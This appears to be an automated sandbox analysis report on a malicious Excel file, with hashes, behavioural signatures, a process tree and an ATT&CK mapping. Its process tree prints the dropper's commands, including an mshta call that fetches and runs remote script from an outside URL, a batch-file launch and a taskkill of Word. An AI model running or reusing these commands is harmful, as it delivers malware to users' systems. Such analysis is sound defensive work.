06914357d09d54db3280e7336663f2f12c8aeb503845a07eed37e06be0853fe7

General

Target

SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls
Size

38KB
MD5

c01ceb0fdd801bc10a95074dfda7bf03
SHA1

06a60c81777ceaeee0d0d4ac34d84ca2363e3f75
SHA256

06914357d09d54db3280e7336663f2f12c8aeb503845a07eed37e06be0853fe7
SHA512

9ff80066ff06278e091d6dc194319e5e0e51fde25216fb33bdb1aac1088c3d9dada5102b9181c207e59d1723394c7b5cefc86543142fc1430a5aeba00055a49c

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://facextrade.com.br/wp-includes/certificates/4.txt

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2276	4292	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 36 IoCs

Processes:

mshta.exe

flow	pid	process
17	224	mshta.exe
20	224	mshta.exe
22	224	mshta.exe
25	224	mshta.exe
26	224	mshta.exe
27	224	mshta.exe
29	224	mshta.exe
30	224	mshta.exe
31	224	mshta.exe
38	224	mshta.exe
39	224	mshta.exe
40	224	mshta.exe
42	224	mshta.exe
43	224	mshta.exe
45	224	mshta.exe
46	224	mshta.exe
47	224	mshta.exe
51	224	mshta.exe
52	224	mshta.exe
53	224	mshta.exe
54	224	mshta.exe
55	224	mshta.exe
56	224	mshta.exe
59	224	mshta.exe
60	224	mshta.exe
61	224	mshta.exe
62	224	mshta.exe
63	224	mshta.exe
64	224	mshta.exe
65	224	mshta.exe
66	224	mshta.exe
67	224	mshta.exe
68	224	mshta.exe
69	224	mshta.exe
70	224	mshta.exe
71	224	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

316 taskkill.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4656 PING.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4292 EXCEL.EXE
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

taskkill.exe

description pid process

Token: SeDebugPrivilege 316 taskkill.exe

pid	process
316	taskkill.exe

pid	process
4656	PING.EXE

description	pid	process
Token: SeDebugPrivilege	316	taskkill.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
4292	EXCEL.EXE
4292	EXCEL.EXE
4292	EXCEL.EXE
4292	EXCEL.EXE
4292	EXCEL.EXE
4292	EXCEL.EXE
4292	EXCEL.EXE
4292	EXCEL.EXE
4292	EXCEL.EXE
4292	EXCEL.EXE
4292	EXCEL.EXE
4292	EXCEL.EXE
4292	EXCEL.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

EXCEL.EXEcmd.execmd.exe

description	pid	process	target process
PID 4292 wrote to memory of 2276	4292	EXCEL.EXE	cmd.exe
PID 4292 wrote to memory of 2276	4292	EXCEL.EXE	cmd.exe
PID 2276 wrote to memory of 4656	2276	cmd.exe	PING.EXE
PID 2276 wrote to memory of 4656	2276	cmd.exe	PING.EXE
PID 2276 wrote to memory of 312	2276	cmd.exe	cmd.exe
PID 2276 wrote to memory of 312	2276	cmd.exe	cmd.exe
PID 312 wrote to memory of 316	312	cmd.exe	taskkill.exe
PID 312 wrote to memory of 316	312	cmd.exe	taskkill.exe
PID 2276 wrote to memory of 224	2276	cmd.exe	mshta.exe
PID 2276 wrote to memory of 224	2276	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4292

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2276

C:\Windows\system32\PING.EXE
ping -n 8 127.0.0.1
3⤵
- Runs ping.exe
PID:4656

C:\Windows\system32\cmd.exe
cmd /c start /min taskkill /f /im WINWORD.EXE
3⤵
- Suspicious use of WriteProcessMemory
PID:312

C:\Windows\system32\taskkill.exe
taskkill /f /im WINWORD.EXE
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:316

C:\Windows\system32\mshta.exe
mshta http://facextrade.com.br/wp-includes/certificates/4.txt
3⤵
- Blocklisted process makes network request
PID:224

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Public\Outlook.bat
Filesize
1KB

MD5
20484f4a7d41c5f54a0dc7a7d35c2155

SHA1
0b197c48d648bbdc131dca6d4fb89903303372f9

SHA256
6df10dd726cef49360df78c47651a311ea7bb21064fe77e019e223ef32776072

SHA512
94df430c3890d5ba23618283ea6eaa6aa0c74d19c5e049f3cc4d65a464266ccc2eefccdb59d6464606200b2e51cdc9b57c2534c67aded228d00a54d856c98591

Download Submit
memory/224-145-0x0000000000000000-mapping.dmp

Download
memory/312-143-0x0000000000000000-mapping.dmp

Download
memory/316-144-0x0000000000000000-mapping.dmp

Download
memory/2276-139-0x0000000000000000-mapping.dmp

Download
memory/4292-136-0x00007FFBC7450000-0x00007FFBC7460000-memory.dmp

Filesize
64KB

Download
memory/4292-134-0x00007FFBC7450000-0x00007FFBC7460000-memory.dmp

Filesize
64KB

Download
memory/4292-137-0x00007FFBC4CF0000-0x00007FFBC4D00000-memory.dmp

Filesize
64KB

Download
memory/4292-149-0x00007FFBC7450000-0x00007FFBC7460000-memory.dmp

Filesize
64KB

Download
memory/4292-141-0x0000026D5FFC4000-0x0000026D5FFC6000-memory.dmp

Filesize
8KB

Download
memory/4292-132-0x00007FFBC7450000-0x00007FFBC7460000-memory.dmp

Filesize
64KB

Download
memory/4292-135-0x00007FFBC7450000-0x00007FFBC7460000-memory.dmp

Filesize
64KB

Download
memory/4292-138-0x00007FFBC4CF0000-0x00007FFBC4D00000-memory.dmp

Filesize
64KB

Download
memory/4292-133-0x00007FFBC7450000-0x00007FFBC7460000-memory.dmp

Filesize
64KB

Download
memory/4292-147-0x0000026D5FFC4000-0x0000026D5FFC6000-memory.dmp

Filesize
8KB

Download
memory/4292-150-0x00007FFBC7450000-0x00007FFBC7460000-memory.dmp

Filesize
64KB

Download
memory/4292-151-0x00007FFBC7450000-0x00007FFBC7460000-memory.dmp

Filesize
64KB

Download
memory/4292-152-0x00007FFBC7450000-0x00007FFBC7460000-memory.dmp

Filesize
64KB

Download
memory/4656-140-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads